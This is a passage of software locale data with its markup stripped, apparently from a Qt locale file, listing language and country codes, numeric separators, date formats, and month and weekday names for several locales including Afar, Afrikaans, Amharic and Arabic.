Tagalog - 115 - tl - - - Tajik - 116 - tg - - - Tamil - 117 - ta - - - Tatar - 118 - tt - - - Telugu - 119 - te - - - Thai - 120 - th - - - Tibetan - 121 - bo - - - Tigrinya - 122 - ti - - - Tonga - 123 - to - - - Tsonga - 124 - ts - - - Turkish - 125 - tr - - - Turkmen - 126 - tk - - - Twi - 127 - tw - - - Uigur - 128 - ug - - - Ukrainian - 129 - uk - - - Urdu - 130 - ur - - - Uzbek - 131 - uz - - - Vietnamese - 132 - vi - - - Volapuk - 133 - vo - - - Welsh - 134 - cy - - - Wolof - 135 - wo - - - Xhosa - 136 - xh - - - Yiddish - 137 - yi - - - Yoruba - 138 - yo - - - Zhuang - 139 - za - - - Zulu - 140 - zu - - - Nynorsk - 141 - nn - - - Bosnian - 142 - bs - - - Divehi - 143 - dv - - - Manx - 144 - gv - - - Cornish - 145 - kw - - - Akan - 146 - ak - - - Konkani - 147 - kok - - - Ga - 148 - gaa - - - Igbo - 149 - ig - - - Kamba - 150 - kam - - - Syriac - 151 - syr - - - Blin - 152 - byn - - - Geez - 153 - gez - - - Koro - 154 - kfo - - - Sidamo - 155 - sid - - - Atsam - 156 - cch - - - Tigre - 157 - tig - - - Jju - 158 - kaj - - - Friulian - 159 - fur - - - Venda - 160 - ve - - - Ewe - 161 - ee - - - Walamo - 162 - wa - - - Hawaiian - 163 - haw - - - Tyap - 164 - kcg - - - Chewa - 165 - ny - - - - - AnyCountry - 0 - - - - Afghanistan - 1 - AF - - - Albania - 2 - AL - - - Algeria - 3 - DZ - - - AmericanSamoa - 4 - AS - - - Andorra - 5 - AD - - - Angola - 6 - AO - - - Anguilla - 7 - AI - - - Antarctica - 8 - AQ - - - AntiguaAndBarbuda - 9 - AG - - - Argentina - 10 - AR - - - Armenia - 11 - AM - - - Aruba - 12 - AW - - - Australia - 13 - AU - - - Austria - 14 - AT - - - Azerbaijan - 15 - AZ - - - Bahamas - 16 - BS - - - Bahrain - 17 - BH - - - Bangladesh - 18 - BD - - - Barbados - 19 - BB - - - Belarus - 20 - BY - - - Belgium - 21 - BE - - - Belize - 22 - BZ - - - Benin - 23 - BJ - - - Bermuda - 24 - BM - - - Bhutan - 25 - BT - - - Bolivia - 26 - BO - - - BosniaAndHerzegowina - 27 - BA - - - Botswana - 28 - BW - - - BouvetIsland - 29 - BV - - - Brazil - 30 - BR - - - BritishIndianOceanTerritory - 31 - IO - - - BruneiDarussalam - 32 - BN - - - Bulgaria - 33 - BG - - - BurkinaFaso - 34 - BF - - - Burundi - 35 - BI - - - Cambodia - 36 - KH - - - Cameroon - 37 - CM - - - Canada - 38 - CA - - - CapeVerde - 39 - CV - - - CaymanIslands - 40 - KY - - - CentralAfricanRepublic - 41 - CF - - - Chad - 42 - TD - - - Chile - 43 - CL - - - China - 44 - CN - - - ChristmasIsland - 45 - CX - - - CocosIslands - 46 - CC - - - Colombia - 47 - CO - - - Comoros - 48 - KM - - - DemocraticRepublicOfCongo - 49 - CD - - - PeoplesRepublicOfCongo - 50 - CG - - - CookIslands - 51 - CK - - - CostaRica - 52 - CR - - - IvoryCoast - 53 - CI - - - Croatia - 54 - HR - - - Cuba - 55 - CU - - - Cyprus - 56 - CY - - - CzechRepublic - 57 - CZ - - - Denmark - 58 - DK - - - Djibouti - 59 - DJ - - - Dominica - 60 - DM - - - DominicanRepublic - 61 - DO - - - EastTimor - 62 - TL - - - Ecuador - 63 - EC - - - Egypt - 64 - EG - - - ElSalvador - 65 - SV - - - EquatorialGuinea - 66 - GQ - - - Eritrea - 67 - ER - - - Estonia - 68 - EE - - - Ethiopia - 69 - ET - - - FalklandIslands - 70 - FK - - - FaroeIslands - 71 - FO - - - Fiji - 72 - FJ - - - Finland - 73 - FI - - - France - 74 - FR - - - MetropolitanFrance - 75 - FX - - - FrenchGuiana - 76 - GF - - - FrenchPolynesia - 77 - PF - - - FrenchSouthernTerritories - 78 - TF - - - Gabon - 79 - GA - - - Gambia - 80 - GM - - - Georgia - 81 - GE - - - Germany - 82 - DE - - - Ghana - 83 - GH - - - Gibraltar - 84 - GI - - - Greece - 85 - GR - - - Greenland - 86 - GL - - - Grenada - 87 - GD - - - Guadeloupe - 88 - GP - - - Guam - 89 - GU - - - Guatemala - 90 - GT - - - Guinea - 91 - GN - - - GuineaBissau - 92 - GW - - - Guyana - 93 - GY - - - Haiti - 94 - HT - - - HeardAndMcDonaldIslands - 95 - HM - - - Honduras - 96 - HN - - - HongKong - 97 - HK - - - Hungary - 98 - HU - - - Iceland - 99 - IS - - - India - 100 - IN - - - Indonesia - 101 - ID - - - Iran - 102 - IR - - - Iraq - 103 - IQ - - - Ireland - 104 - IE - - - Israel - 105 - IL - - - Italy - 106 - IT - - - Jamaica - 107 - JM - - - Japan - 108 - JP - - - Jordan - 109 - JO - - - Kazakhstan - 110 - KZ - - - Kenya - 111 - KE - - - Kiribati - 112 - KI - - - DemocraticRepublicOfKorea - 113 - KP - - - RepublicOfKorea - 114 - KR - - - Kuwait - 115 - KW - - - Kyrgyzstan - 116 - KG - - - Lao - 117 - LA - - - Latvia - 118 - LV - - - Lebanon - 119 - LB - - - Lesotho - 120 - LS - - - Liberia - 121 - LR - - - LibyanArabJamahiriya - 122 - LY - - - Liechtenstein - 123 - LI - - - Lithuania - 124 - LT - - - Luxembourg - 125 - LU - - - Macau - 126 - MO - - - Macedonia - 127 - MK - - - Madagascar - 128 - MG - - - Malawi - 129 - MW - - - Malaysia - 130 - MY - - - Maldives - 131 - MV - - - Mali - 132 - ML - - - Malta - 133 - MT - - - MarshallIslands - 134 - MH - - - Martinique - 135 - MQ - - - Mauritania - 136 - MR - - - Mauritius - 137 - MU - - - Mayotte - 138 - YT - - - Mexico - 139 - MX - - - Micronesia - 140 - FM - - - Moldova - 141 - MD - - - Monaco - 142 - MC - - - Mongolia - 143 - MN - - - Montserrat - 144 - MS - - - Morocco - 145 - MA - - - Mozambique - 146 - MZ - - - Myanmar - 147 - MM - - - Namibia - 148 - NA - - - Nauru - 149 - NR - - - Nepal - 150 - NP - - - Netherlands - 151 - NL - - - NetherlandsAntilles - 152 - AN - - - NewCaledonia - 153 - NC - - - NewZealand - 154 - NZ - - - Nicaragua - 155 - NI - - - Niger - 156 - NE - - - Nigeria - 157 - NG - - - Niue - 158 - NU - - - NorfolkIsland - 159 - NF - - - NorthernMarianaIslands - 160 - MP - - - Norway - 161 - NO - - - Oman - 162 - OM - - - Pakistan - 163 - PK - - - Palau - 164 - PW - - - PalestinianTerritory - 165 - PS - - - Panama - 166 - PA - - - PapuaNewGuinea - 167 - PG - - - Paraguay - 168 - PY - - - Peru - 169 - PE - - - Philippines - 170 - PH - - - Pitcairn - 171 - PN - - - Poland - 172 - PL - - - Portugal - 173 - PT - - - PuertoRico - 174 - PR - - - Qatar - 175 - QA - - - Reunion - 176 - RE - - - Romania - 177 - RO - - - RussianFederation - 178 - RU - - - Rwanda - 179 - RW - - - SaintKittsAndNevis - 180 - KN - - - StLucia - 181 - LC - - - StVincentAndTheGrenadines - 182 - VC - - - Samoa - 183 - WS - - - SanMarino - 184 - SM - - - SaoTomeAndPrincipe - 185 - ST - - - SaudiArabia - 186 - SA - - - Senegal - 187 - SN - - - Seychelles - 188 - SC - - - SierraLeone - 189 - SL - - - Singapore - 190 - SG - - - Slovakia - 191 - SK - - - Slovenia - 192 - SI - - - SolomonIslands - 193 - SB - - - Somalia - 194 - SO - - - SouthAfrica - 195 - ZA - - - SouthGeorgiaAndTheSouthSandwichIslands - 196 - GS - - - Spain - 197 - ES - - - SriLanka - 198 - LK - - - StHelena - 199 - SH - - - StPierreAndMiquelon - 200 - PM - - - Sudan - 201 - SD - - - Suriname - 202 - SR - - - SvalbardAndJanMayenIslands - 203 - SJ - - - Swaziland - 204 - SZ - - - Sweden - 205 - SE - - - Switzerland - 206 - CH - - - SyrianArabRepublic - 207 - SY - - - Taiwan - 208 - TW - - - Tajikistan - 209 - TJ - - - Tanzania - 210 - TZ - - - Thailand - 211 - TH - - - Togo - 212 - TG - - - Tokelau - 213 - TK - - - Tonga - 214 - TO - - - TrinidadAndTobago - 215 - TT - - - Tunisia - 216 - TN - - - Turkey - 217 - TR - - - Turkmenistan - 218 - TM - - - TurksAndCaicosIslands - 219 - TC - - - Tuvalu - 220 - TV - - - Uganda - 221 - UG - - - Ukraine - 222 - UA - - - UnitedArabEmirates - 223 - AE - - - UnitedKingdom - 224 - GB - - - UnitedStates - 225 - US - - - UnitedStatesMinorOutlyingIslands - 226 - UM - - - Uruguay - 227 - UY - - - Uzbekistan - 228 - UZ - - - Vanuatu - 229 - VU - - - VaticanCityState - 230 - VA - - - Venezuela - 231 - VE - - - VietNam - 232 - VN - - - BritishVirginIslands - 233 - VG - - - USVirginIslands - 234 - VI - - - WallisAndFutunaIslands - 235 - WF - - - WesternSahara - 236 - EH - - - Yemen - 237 - YE - - - Yugoslavia - 238 - YU - - - Zambia - 239 - ZM - - - Zimbabwe - 240 - ZW - - - SerbiaAndMontenegro - 241 - CS - - - - - Afrikaans - SouthAfrica - - - Afan - Ethiopia - - - Afar - Djibouti - - - Arabic - SaudiArabia - - - Chinese - China - - - Dutch - Netherlands - - - English - UnitedStates - - - French - France - - - German - Germany - - - Greek - Greece - - - Italian - Italy - - - Malay - Malaysia - - - Portuguese - Portugal - - - Russian - RussianFederation - - - Serbian - SerbiaAndMontenegro - - - SerboCroatian - SerbiaAndMontenegro - - - Somali - Somalia - - - Spanish - Spain - - - Swahili - Kenya - - - Swedish - Sweden - - - Tigrinya - Eritrea - - - Uzbek - Uzbekistan - - - Persian - Iran - - - - - C - AnyCountry - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - d MMM yyyy - HH:mm:ss z - HH:mm:ss - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - 1;2;3;4;5;6;7;8;9;10;11;12; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - 7;1;2;3;4;5;6; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - S;M;T;W;T;F;S; - - - Afan - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM d, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - Amajjii;Guraandhala;Bitooteessa;Elba;Caamsa;Waxabajjii;Adooleessa;Hagayya;Fuulbana;Onkololeessa;Sadaasa;Muddee; - Ama;Gur;Bit;Elb;Cam;Wax;Ado;Hag;Ful;Onk;Sad;Mud; - ;;;;;;;;;;;; - Dilbata;Wiixata;Qibxata;Roobii;Kamiisa;Jimaata;Sanbata; - Dil;Wix;Qib;Rob;Kam;Jim;San; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - Afan - Kenya - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM d, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - Amajjii;Guraandhala;Bitooteessa;Elba;Caamsa;Waxabajjii;Adooleessa;Hagayya;Fuulbana;Onkololeessa;Sadaasa;Muddee; - Ama;Gur;Bit;Elb;Cam;Wax;Ado;Hag;Ful;Onk;Sad;Mud; - ;;;;;;;;;;;; - Dilbata;Wiixata;Qibxata;Roobii;Kamiisa;Jimaata;Sanbata; - Dil;Wix;Qib;Rob;Kam;Jim;San; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - Afar - Djibouti - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Q;N;C;A;C;Q;Q;L;W;D;X;K; - Qunxa Garablu;Naharsi Kudo;Ciggilta Kudo;Agda Baxisso;Caxah Alsa;Qasa Dirri;Qado Dirri;Leqeeni;Waysu;Diteli;Ximoli;Kaxxa Garablu; - Qun;Nah;Cig;Agd;Cax;Qas;Qad;Leq;Way;Dit;Xim;Kax; - ;;;;;;;;;;;; - Acaada;Etleeni;Talaata;Arbaqa;Kamiisi;Gumqata;Sabti; - Aca;Etl;Tal;Arb;Kam;Gum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;E;T;A;K;G;S; - - - Afar - Eritrea - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Q;N;C;A;C;Q;Q;L;W;D;X;K; - Qunxa Garablu;Kudo;Ciggilta Kudo;Agda Baxis;Caxah Alsa;Qasa Dirri;Qado Dirri;Liiqen;Waysu;Diteli;Ximoli;Kaxxa Garablu; - Qun;Nah;Cig;Agd;Cax;Qas;Qad;Leq;Way;Dit;Xim;Kax; - ;;;;;;;;;;;; - Acaada;Etleeni;Talaata;Arbaqa;Kamiisi;Gumqata;Sabti; - Aca;Etl;Tal;Arb;Kam;Gum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;E;T;A;K;G;S; - - - Afar - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, MMMM dd, yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - Q;N;C;A;C;Q;Q;L;W;D;X;K; - Qunxa Garablu;Kudo;Ciggilta Kudo;Agda Baxis;Caxah Alsa;Qasa Dirri;Qado Dirri;Liiqen;Waysu;Diteli;Ximoli;Kaxxa Garablu; - Qun;Nah;Cig;Agd;Cax;Qas;Qad;Leq;Way;Dit;Xim;Kax; - ;;;;;;;;;;;; - Acaada;Etleeni;Talaata;Arbaqa;Kamiisi;Gumqata;Sabti; - Aca;Etl;Tal;Arb;Kam;Gum;Sab; - ;;;;;;; - ;;;;;;; - ;;;;;;; - A;E;T;A;K;G;S; - - - Afrikaans - Namibia - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - vm. - nm. - EEEE d MMMM yyyy - yyyy-MM-dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januarie;Februarie;Maart;April;Mei;Junie;Julie;Augustus;September;Oktober;November;Desember; - Jan;Feb;Mar;Apr;Mei;Jun;Jul;Aug;Sep;Okt;Nov;Des; - ;;;;;;;;;;;; - Sondag;Maandag;Dinsdag;Woensdag;Donderdag;Vrydag;Saterdag; - So;Ma;Di;Wo;Do;Vr;Sa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Afrikaans - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - vm. - nm. - EEEE dd MMMM yyyy - yyyy/MM/dd - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - Januarie;Februarie;Maart;April;Mei;Junie;Julie;Augustus;September;Oktober;November;Desember; - Jan;Feb;Mar;Apr;Mei;Jun;Jul;Aug;Sep;Okt;Nov;Des; - ;;;;;;;;;;;; - Sondag;Maandag;Dinsdag;Woensdag;Donderdag;Vrydag;Saterdag; - So;Ma;Di;Wo;Do;Vr;Sa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Albanian - Albania - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - PD - MD - EEEE, dd MMMM yyyy - yy-MM-dd - h.mm.ss.a v - h.mm.a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;S;M;P;M;Q;K;G;S;T;N;D; - janar;shkurt;mars;prill;maj;qershor;korrik;gusht;shtator;tetor;nëntor;dhjetor; - Jan;Shk;Mar;Pri;Maj;Qer;Kor;Gsh;Sht;Tet;Nën;Dhj; - ;;;;;;;;;;;; - e diel;e hënë;e martë;e mërkurë;e enjte;e premte;e shtunë; - Die;Hën;Mar;Mër;Enj;Pre;Sht; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;H;M;M;E;P;S; - - - Amharic - Ethiopia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE፣ dd MMMM ቀን yyyy G - dd/MM/yy - hh:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ጃ;ፌ;ማ;ኤ;ሜ;ጁ;ጁ;ኦ;ሴ;ኦ;ኖ;ዲ; - ጃንዩወሪ;ፌብሩወሪ;ማርች;ኤፕረል;ሜይ;ጁን;ጁላይ;ኦገስት;ሴፕቴምበር;ኦክተውበር;ኖቬምበር;ዲሴምበር; - ጃንዩ;ፌብሩ;ማርች;ኤፕረ;ሜይ;ጁን;ጁላይ;ኦገስ;ሴፕቴ;ኦክተ;ኖቬም;ዲሴም; - ;;;;;;;;;;;; - እሑድ;ሰኞ;ማክሰኞ;ረቡዕ;ሐሙስ;ዓርብ;ቅዳሜ; - እሑድ;ሰኞ;ማክሰ;ረቡዕ;ሐሙስ;ዓርብ;ቅዳሜ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - እ;ሰ;ማ;ረ;ሐ;ዓ;ቅ; - - - Arabic - Algeria - 1643 - 1644 - 1563 - 1642 - 48 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Bahrain - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Egypt - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Iraq - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Jordan - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - كانون الثاني;شباط;آذار;نيسان;أيار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - كانون الثاني;شباط;آذار;نيسان;أيار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Kuwait - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Lebanon - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - كانون الثاني;شباط;آذار;نيسان;نوار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - كانون الثاني;شباط;آذار;نيسان;نوار;حزيران;تموز;آب;أيلول;تشرين الأول;تشرين الثاني;كانون الأول; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - LibyanArabJamahiriya - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Morocco - 1643 - 1644 - 1563 - 1642 - 48 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Oman - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Qatar - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - SaudiArabia - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - Sudan - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ي;ف;م;أ;و;ن;ل;غ;س;ك;ب;د; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - يناير;فبراير;مارس;أبريل;مايو;يونيو;يوليو;أغسطس;سبتمبر;أكتوبر;نوفمبر;ديسمبر; - ;;;;;;;;;;;; - الأحد;الاثنين;الثلاثاء;الأربعاء;الخميس;الجمعة;السبت; - ح;ن;ث;ر;خ;ج;س; - ;;;;;;; - ;;;;;;; - أحد;اثنين;ثلاثاء;أربعاء;خميس;جمعة;سبت; - ح;ن;ث;ر;خ;ج;س; - - - Arabic - SyrianArabRepublic - 1643 - 1644 - 1563 - 1642 - 1632 - 45 - 43 - 101 - ص - م - EEEE، d MMMM، yyyy - d‏/M‏/yyyy - v h:mm:ss a - h:mm a - 